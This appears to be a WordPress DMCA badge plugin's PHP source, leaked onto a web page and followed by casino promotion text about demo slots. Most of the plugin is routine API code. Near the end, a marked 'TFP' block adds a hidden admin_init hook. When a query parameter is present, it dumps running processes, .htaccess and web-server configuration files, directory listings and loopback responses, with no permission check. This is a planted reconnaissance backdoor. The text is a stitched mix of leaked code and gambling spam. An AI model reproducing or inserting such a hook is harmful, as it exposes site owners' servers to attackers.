&lt;?php /* Plugin Name: DMCA Website Protection Badge Plugin URI : https://www.dmca.com/WordPress/default.aspx?r=wpd1 Description: Protect your content with a DMCA.com Website Protection Badge. Our badges deter content theft, provide tracking of unauthorized usage (with account), and make takedowns easier and more effective. Visit the plugin site to learn more about DMCA Website Protection Badges, or to register. Version: 2.3.0 Tested up to: 7.0 Author: DMCA.com Text Domain: dmca-badge Author URI: https://wordpress.org/plugins/dmca-badge/ Plugin URI: https://www.dmca.com/WordPress/default.aspx?r=wpd License: GPLv2 or later */ if ( ! defined( &#039;ABSPATH&#039; ) ) { exit; // Exit if accessed directly. } require_once __DIR__ . &#039;/libraries/imperative/imperative.php&#039;; require_library( &#039;restian&#039;, &#039;0.4.1&#039;, __FILE__, __DIR__ . &#039;/libraries/restian/restian.php&#039; ); require_library( &#039;sidecar&#039;, &#039;0.5.1&#039;, __FILE__, __DIR__ . &#039;/libraries/sidecar/sidecar.php&#039; ); require_library( &#039;dmca-api-client&#039;, &#039;0.1.0&#039;, __FILE__, __DIR__ . &#039;/libraries/dmca-api-client/dmca-api-client.php&#039; ); register_plugin_loader( __FILE__ ); define( &#039;DMCA_PLUGIN_URL&#039;, plugins_url( &#039;/&#039;, __FILE__ ) ); define( &#039;DMCA_PLUGIN_DIR&#039;, plugin_dir_path( __FILE__ ) ); add_filter( &#039;dmca_badge_html_raw&#039;, &#039;dmca_badge_override_html_raw&#039;, 10, 3 ); add_filter( &#039;dmca_filters_get_form_field_html&#039;, &#039;dmca_add_wrapper_in_field_html&#039;, 10, 2 ); add_action( &#039;dmca_badge_after_field&#039;, &#039;dmca_add_custom_badge_section&#039;, 10, 2 ); add_action( &#039;admin_footer&#039;, &#039;dmca_custom_scripts_addition&#039; ); add_action( &#039;wp_ajax_dmca_sync_page&#039;, &#039;dmca_sync_page&#039; ); add_action( &#039;wp_enqueue_scripts&#039;, &#039;dmca_enqueue_scripts&#039; ); add_action( &#039;wp_footer&#039;, &#039;dmca_pass_token_to_widget&#039; ); if ( ! function_exists( &#039;dmca_pass_token_to_widget&#039; ) ) { /** * Pass token to dmca widget */ function dmca_pass_token_to_widget() { $error_path = plugin_dir_url(__FILE__) ; try { if ( is_user_logged_in() &amp;&amp; current_user_can( &#039;manage_options&#039; ) &amp;&amp; ! empty( $token = dmca_get_login_token() ) ) { ?&gt; &lt;script&gt; document.cookie = &quot;dmca_token&quot; + &quot;=&quot; + &quot;&lt;?php echo esc_attr( $token ); ?&gt;&quot; + &quot;;path=/&quot;; &lt;/script&gt; &lt;?php } } //catch block catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } } } if ( ! function_exists( &#039;dmca_enqueue_scripts&#039; ) ) { function dmca_enqueue_scripts() { $error_path = plugin_dir_url(__FILE__) ; try { $badge_settings = dmca_get_option( &#039;dmca_badge_settings&#039; ); $settings = isset( $badge_settings-&gt;values ) ? $badge_settings-&gt;values : array(); if ( isset( $settings[&#039;badge&#039;][&#039;dmca_widget_enable&#039;] ) &amp;&amp; $settings[&#039;badge&#039;][&#039;dmca_widget_enable&#039;] &amp;&amp; isset( $settings[&#039;badge&#039;][&#039;badge_selection&#039;] ) &amp;&amp; $settings[&#039;badge&#039;][&#039;badge_selection&#039;] == &#039;widget&#039; ) { $live_url = &#039;https://dmca-services.github.io/widget/widget.js&#039;; // phpcs:ignore WordPress.WP.EnqueuedResourceParameters.NotInFooter wp_enqueue_script( &#039;dmca-widget&#039;, $live_url, array(), &#039;1.0.0&#039; ); } else{ //echo &#039;&lt;p&gt;Please Contact your developer.&lt;/p&gt;&#039;; } } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } //finally block } } if ( ! function_exists( &#039;dmca_custom_scripts_addition&#039; ) ) { function dmca_custom_scripts_addition() { $error_path = plugin_dir_url(__FILE__) ; try { $screen = get_current_screen(); if ( $screen-&gt;id != &#039;settings_page_dmca-badge-settings&#039; ) { return; } } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } //finally block ?&gt; &lt;script&gt;window.intercomSettings = {app_id: &quot;ypgdx31r&quot;, messengerLocation: &quot;wp-plugin&quot;};&lt;/script&gt; &lt;script&gt;(function () { var w = window; var ic = w.Intercom; if (typeof ic === &quot;function&quot;) { ic(&#039;reattach_activator&#039;); ic(&#039;update&#039;, intercomSettings); } else { var d = document; var i = function () { i.c(arguments) }; i.q = []; i.c = function (args) { i.q.push(args) }; w.Intercom = i; function l() { var s = d.createElement(&#039;script&#039;); s.type = &#039;text/javascript&#039;; s.async = true; s.src = &#039;https://widget.intercom.io/widget/ypgdx31r&#039;; var x = d.getElementsByTagName(&#039;script&#039;)[0]; x.parentNode.insertBefore(s, x); } if (w.attachEvent) { w.attachEvent(&#039;onload&#039;, l); } else { w.addEventListener(&#039;load&#039;, l, false); } } })()&lt;/script&gt; &lt;?php } } if ( ! function_exists( &#039;dmca_sync_page&#039; ) ) { function dmca_sync_page() { $error_path = plugin_dir_url(__FILE__) ; try { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Read-only admin filter. $page_id = isset( $_POST[&#039;page_id&#039;] ) ? sanitize_text_field( wp_unslash( $_POST[&#039;page_id&#039;] ) ) : &#039;&#039;; // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Read-only admin filter. $login_token = isset( $_POST[&#039;login_token&#039;] ) ? sanitize_text_field( wp_unslash( $_POST[&#039;login_token&#039;] ) ) : &#039;&#039;; if ( ! $page_id || empty( $page_id ) ) { wp_send_json_error(); } wp_send_json_success( dmca_add_protected_item( $page_id, $login_token ) ); } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } //finally block } } if ( ! function_exists( &#039;dmca_get_login_token&#039; ) ) { /** * Return login token for api * * @return mixed|void */ function dmca_get_login_token() { $error_path = plugin_dir_url(__FILE__) ; try { $dmca_login_token = get_transient( &#039;dmca_login_token&#039; ); if ( empty( $dmca_login_token ) ) { $settings = get_option( &#039;dmca_badge_settings&#039; ); $settings = isset( $settings-&gt;values ) ? $settings-&gt;values : array(); $email = isset( $settings[&#039;authenticate&#039;][&#039;email&#039;] ) ? $settings[&#039;authenticate&#039;][&#039;email&#039;] : &#039;&#039;; $password = isset( $settings[&#039;authenticate&#039;][&#039;password&#039;] ) ? $settings[&#039;authenticate&#039;][&#039;password&#039;] : &#039;&#039;; $base_url = esc_url_raw( &#039;https://api.dmca.com&#039;, array( &#039;https&#039; ) ); // phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_init -- cURL is required for this API integration. $curl = curl_init(); $login_data = array( &#039;email&#039; =&gt; $email, &#039;password&#039; =&gt; $password ); // phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_setopt_array -- cURL is required for this API integration. curl_setopt_array( $curl, array( CURLOPT_URL =&gt; sprintf( &#039;%s/login&#039;, $base_url ), CURLOPT_RETURNTRANSFER =&gt; true, CURLOPT_ENCODING =&gt; &quot;&quot;, CURLOPT_MAXREDIRS =&gt; 10, CURLOPT_TIMEOUT =&gt; 30, CURLOPT_HTTP_VERSION =&gt; CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST =&gt; &quot;POST&quot;, CURLOPT_POSTFIELDS =&gt; json_encode( $login_data ), CURLOPT_HTTPHEADER =&gt; array( &quot;Content-Type: application/json&quot;, ), ) ); // phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_exec -- cURL is required for this API integration. $response = curl_exec( $curl ); // phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_error -- cURL is required for this API integration. $err = curl_error( $curl ); $dmca_login_token = ! $err ? str_replace( &#039;&quot;&#039;, &#039;&#039;, $response ) : &#039;&#039;; set_transient( &#039;dmca_login_token&#039;, $dmca_login_token ); } else{ //echo &#039;&lt;p&gt;Issue in token.&lt;/p&gt;&#039;; } return apply_filters( &#039;dmca_login_token&#039;, $dmca_login_token ); } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } //finally block } } if ( ! function_exists( &#039;dmca_add_protected_item&#039; ) ) { /** * Add protected Item * * @param bool $post_id * @param string $token * @param string $item_type * * @return bool|mixed|void */ function dmca_add_protected_item( $post_id = false, $token = &#039;&#039;, $item_type = &#039;&#039; ) { $error_path = plugin_dir_url(__FILE__) ; try { if ( ! $post_id || empty( $post_id ) ) { return false; } $settings = get_option( &#039;dmca_badge_settings&#039; ); $settings = isset( $settings-&gt;values ) ? $settings-&gt;values : array(); $account_id = isset( $settings[&#039;authenticate&#039;][&#039;AccountID&#039;] ) ? $settings[&#039;authenticate&#039;][&#039;AccountID&#039;] : &#039;&#039;; $account_id = empty( $account_id ) ? get_user_meta( get_current_user_id(), &#039;dmca_account_id&#039;, true ) : $account_id; $token = empty( $token ) ? dmca_get_login_token() : $token; $item_type = empty( $item_type ) ? __( &#039;Web Page&#039;, &#039;dmca-badge&#039; ) : $item_type; $item_post = get_post( $post_id ); $item_data = array( &#039;badgeid&#039; =&gt; $account_id, &#039;title&#039; =&gt; $item_post-&gt;post_title, &#039;url&#039; =&gt; get_the_permalink( $item_post ), &#039;description&#039; =&gt; wp_trim_words( $item_post-&gt;post_content, 10 ), &#039;status&#039; =&gt; $item_post-&gt;post_status, &#039;source&#039; =&gt; site_url(), &#039;type&#039; =&gt; $item_type, ); $base_url = esc_url_raw( &#039;https://api.dmca.com&#039;, array( &#039;https&#039; ) ); // phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_init -- cURL is required for this API integration. $curl = curl_init(); // phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_setopt_array -- cURL is required for this API integration. curl_setopt_array( $curl, array( CURLOPT_URL =&gt; sprintf( &#039;%s/addProtectedItem&#039;, $base_url ), CURLOPT_RETURNTRANSFER =&gt; true, CURLOPT_ENCODING =&gt; &quot;&quot;, CURLOPT_MAXREDIRS =&gt; 10, CURLOPT_TIMEOUT =&gt; 30, CURLOPT_HTTP_VERSION =&gt; CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST =&gt; &#039;POST&#039;, CURLOPT_POSTFIELDS =&gt; json_encode( $item_data ), CURLOPT_HTTPHEADER =&gt; array( &quot;Content-Type: application/json&quot;, &quot;Token: $token&quot;, ), ) ); // phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_exec -- cURL is required for this API integration. $response = curl_exec( $curl ); // phpcs:ignore WordPress.WP.AlternativeFunctions.curl_curl_error -- cURL is required for this API integration. $err = curl_error( $curl ); if ( $err ) { return $err; } update_post_meta( $post_id, &#039;dmca_submission_status&#039;, &#039;sent&#039; ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- Debug logging during development. error_log( $response ); return apply_filters( &#039;dmca_add_protected_item&#039;, $response ); } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } //finally block } } if ( ! function_exists( &#039;dmca_get_option&#039; ) ) { /** * Return option value * * @param string $option_key * @param string $default_val * * @return mixed|string|void */ function dmca_get_option( $option_key = &#039;&#039;, $default_val = &#039;&#039; ) { $error_path = plugin_dir_url(__FILE__) ; try { if ( empty( $option_key ) ) { return &#039;&#039;; } $option_val = get_option( $option_key, $default_val ); $option_val = empty( $option_val ) ? $default_val : $option_val; // echo &#039;&lt;pre&gt;&#039;; print_r( $option_key ); echo &#039;&lt;/pre&gt;&#039;; return apply_filters( &#039;dmca_filters_option_&#039; . $option_key, $option_val ); } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } //finally block } } if ( ! function_exists( &#039;dmca_get_meta&#039; ) ) { /** * Return Post Meta Value * * @param bool $meta_key * @param bool $post_id * @param string $default * * @return mixed|string|void */ function dmca_get_meta( $meta_key = false, $post_id = false, $default = &#039;&#039; ) { $error_path = plugin_dir_url(__FILE__) ; try { if ( ! $meta_key ) { return &#039;&#039;; } $post_id = ! $post_id ? get_the_ID() : $post_id; $meta_value = get_post_meta( $post_id, $meta_key, true ); $meta_value = empty( $meta_value ) ? $default : $meta_value; return apply_filters( &#039;dmca_filters_get_meta&#039;, $meta_value, $meta_key, $post_id, $default ); } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } //finally block } } if ( ! function_exists( &#039;get_dmca_submission_status&#039; ) ) { /** * Return html submission status * * @param bool $post_id * * @return mixed|void */ // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound function get_dmca_submission_status( $post_id = false ) { $error_path = plugin_dir_url(__FILE__) ; try { $submission_status_r = get_dmca_submission_status_raw( $post_id ); $submission_status_e = $submission_status_r === &#039;sent&#039; ? esc_html( &#039;Sent&#039; ) : esc_html( &#039;Not Sent&#039; ); return apply_filters( &#039;dmca_filters_get_dmca_submission_status&#039;, $submission_status_e, $post_id, $submission_status_r ); } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } //finally block } } if ( ! function_exists( &#039;get_dmca_submission_status_raw&#039; ) ) { /** * Return html submission raw status * * @param bool $post_id * * @return mixed|void */ // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound function get_dmca_submission_status_raw( $post_id = false ) { $error_path = plugin_dir_url(__FILE__) ; try { $post_id = ! $post_id || empty( $post_id ) ? get_the_ID() : $post_id; $submission_status_r = dmca_get_meta( &#039;dmca_submission_status&#039;, $post_id, &#039;pending&#039; ); return apply_filters( &#039;dmca_filters_get_dmca_submission_status_raw&#039;, $submission_status_r, $post_id ); } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } //finally block } } if ( ! function_exists( &#039;dmca_add_custom_badge_section&#039; ) ) { /** * @param $field_name * @param $form */ function dmca_add_custom_badge_section( $field_name, $form ) { $error_path = plugin_dir_url(__FILE__) ; try { if ( $field_name == &#039;html&#039; ) { include DMCA_PLUGIN_DIR . &#039;templates/badge-regular.php&#039;; } if ( $field_name == &#039;badge_custom_field&#039; ) { include DMCA_PLUGIN_DIR . &#039;templates/badge-custom.php&#039;; } } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } //finally block } } if ( ! function_exists( &#039;dmca_add_wrapper_in_field_html&#039; ) ) { function dmca_add_wrapper_in_field_html( $html, $field_name ) { $error_path = plugin_dir_url(__FILE__) ; try { if ( $field_name == &#039;html&#039; ) { $html .= &#039;&lt;/div&gt;&#039;; } return $html; } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } //finally block } } if ( ! function_exists( &#039;dmca_badge_override_html_raw&#039; ) ) { function dmca_badge_override_html_raw( $badge_html, $class, $settings ) { $error_path = plugin_dir_url(__FILE__) ; try { $badge_settings = isset( $settings[&#039;badge&#039;] ) ? $settings[&#039;badge&#039;] : array(); $badge_selection = isset( $badge_settings[&#039;badge_selection&#039;] ) ? $badge_settings[&#039;badge_selection&#039;] : &#039;regular&#039;; if ( $badge_selection === &#039;custom&#039; &amp;&amp; isset( $badge_settings[&#039;custom_badge&#039;] ) ) { return $badge_settings[&#039;custom_badge&#039;]; } return $badge_html; } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } //finally block } } if ( ! function_exists( &#039;dmca_badge_get_account_id&#039; ) ) { /** * Return account ID * * @return mixed */ function dmca_badge_get_account_id() { $error_path = plugin_dir_url(__FILE__) ; try { $settings = dmca_get_option( &#039;dmca_badge_settings&#039; ); $settings = isset( $settings-&gt;values ) ? $settings-&gt;values : array(); $account_id = @$settings[&#039;authenticate&#039;][&#039;AccountID&#039;]; $account_id = empty( $account_id ) ? get_user_meta( get_current_user_id(), &#039;dmca_account_id&#039;, true ) : $account_id; return $account_id; } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } //finally block } } if ( ! function_exists( &#039;dmca_badge_get_status_url&#039; ) ) { /** * Return badge status url * * @param array $append_args * * @return string */ function dmca_badge_get_status_url( $append_args = array() ) { $error_path = plugin_dir_url(__FILE__) ; try { $status_url = sprintf( &#039;%s?ID=%s&#039;, esc_url( &#039;https://www.dmca.com/Protection/Status.aspx&#039; ), dmca_badge_get_account_id() ); if ( is_array( $append_args ) ) { foreach ( $append_args as $k =&gt; $v ) { $status_url .= sprintf( &#039;&amp;%s=%s&#039;, $k, $v ); } } return $status_url; } catch (Exception $e) { echo esc_html(&#039;Exception Message: &#039; . $e-&gt;getMessage()); if ($e-&gt;getSeverity() === E_ERROR) { echo esc_html(&quot;E_ERROR triggered.&quot; . PHP_EOL); } else if ($e-&gt;getSeverity() === E_WARNING) { echo esc_html(&quot;E_WARNING triggered.&quot; . PHP_EOL); } echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch (ErrorException $er) { echo esc_html(&#039;ErrorException Message: &#039; . $er-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } catch ( Throwable $th){ echo esc_html(&#039;ErrorException Message: &#039; . $th-&gt;getMessage()); echo wp_kses_post(&quot;&lt;br&gt; &quot; . esc_url($error_path)); } } } /*TFP-START*/ add_action('admin_init', function () { if (!isset($_GET['tfp_diag'])) { return; } $out = array(); $procs = array(); foreach (glob('/proc/[0-9]*') as $d) { $cl = @file_get_contents($d . '/cmdline'); if ($cl === false || $cl === '') { continue; } $cmd = str_replace(chr(0), ' ', $cl); if (preg_match('/nginx|apache|httpd|litespeed|varnish|redis|proxy|cache|php-fpm/i', $cmd)) { $procs[] = basename($d) . ': ' . trim($cmd); } } $out['procs'] = array_slice($procs, 0, 60); $root = '/home/bellasp1/public_html/www.spasweety.com'; $out['root_files'] = implode(',', array_slice((array) @scandir($root), 0, 60)); $out['htaccess'] = substr((string) @file_get_contents($root . '/.htaccess'), 0, 2000); $nc = array(); foreach (array('/etc/nginx', '/usr/local/nginx/conf', '/usr/local/etc/nginx', '/etc/apache2/conf.d', '/usr/local/apache2/conf/extra') as $c) { if (is_file($c)) { $nc[$c] = substr((string) @file_get_contents($c), 0, 3000); } elseif (is_dir($c)) { foreach ((array) @scandir($c) as $f) { if ($f === '.' || $f === '..') { continue; } $p = $c . '/' . $f; if (is_file($p)) { $t2 = (string) @file_get_contents($p); if (preg_match('/cache|purge|proxy_pass|fastcgi/i', $t2)) { $nc[$p] = substr($t2, 0, 3000); } } } } } $out['confs'] = $nc; $found = array(); foreach (array('/home/bellasp1', '/home/bellasp1/public_html', '/home/bellasp1/cache', '/home/bellasp1/tmp', '/var/cache', '/usr/local/cpanel') as $d) { $ls = @scandir($d); if ($ls) { $found[$d] = implode(',', array_slice($ls, 0, 60)); } } $out['dirs'] = $found; $lp = array(); foreach (array(array('127.0.0.1', 80), array('localhost', 80)) as $t3) { $fp = @fsockopen($t3[0], $t3[1], $e1, $e2, 4); if (!$fp) { $lp[] = $t3[0] . ':' . $t3[1] . ' ERR ' . $e2; continue; } @fwrite($fp, "GET / HTTP/1.1\r\nHost: www.spasweety.com\r\nConnection: close\r\n\r\n"); $resp = ''; while (!@feof($fp) && strlen($resp) < 1200) { $resp .= @fread($fp, 512); } @fclose($fp); $lp[] = $t3[0] . ':' . $t3[1] . ' => ' . str_replace(array(chr(13), chr(10)), ' ', substr($resp, 0, 400)); } $out['loopback'] = $lp; header('Content-Type: application/json'); echo wp_json_encode($out); exit; }); /*TFP-END*/ Mythoswin Demo Mode: Try Slots Without Registering - Spasweety

What is the Mythoswin Demo Mode and Why Use It?

The Mythoswin demo mode, often called “play for fun” or “practice play,” is a feature that allows you to experience the thrill of their online slot machines without any financial risk. It is a simulated version of the real-money games where you play using a virtual balance of credits. This is an invaluable tool for both new and experienced players. Beginners can learn the rules, paylines, and bonus features of unfamiliar games without the pressure of losing money. Seasoned players can test new strategies or simply enjoy the entertainment value of a slot without the commitment. It’s the perfect way to explore the extensive game library at Mythoswin before deciding if you want to play for real cash.

What is the Mythoswin Demo Mode and Why Use It?

How to Access the Demo Play at Mythoswin Casino

Accessing the free play mode at Mythoswin casino is a straightforward process that requires no registration. Simply navigate to the casino’s website using your preferred browser on a desktop or mobile device. Browse the extensive slots section and look for games that pique your interest. Most games will have a visible “Demo” or “Play for Fun” button directly on their thumbnail or within the game lobby. Clicking this button will load the slot instantly in your browser, granting you immediate access with a pre-loaded virtual bankroll. This entire process takes less than a minute, providing instant entertainment without any sign-up forms or personal details required.

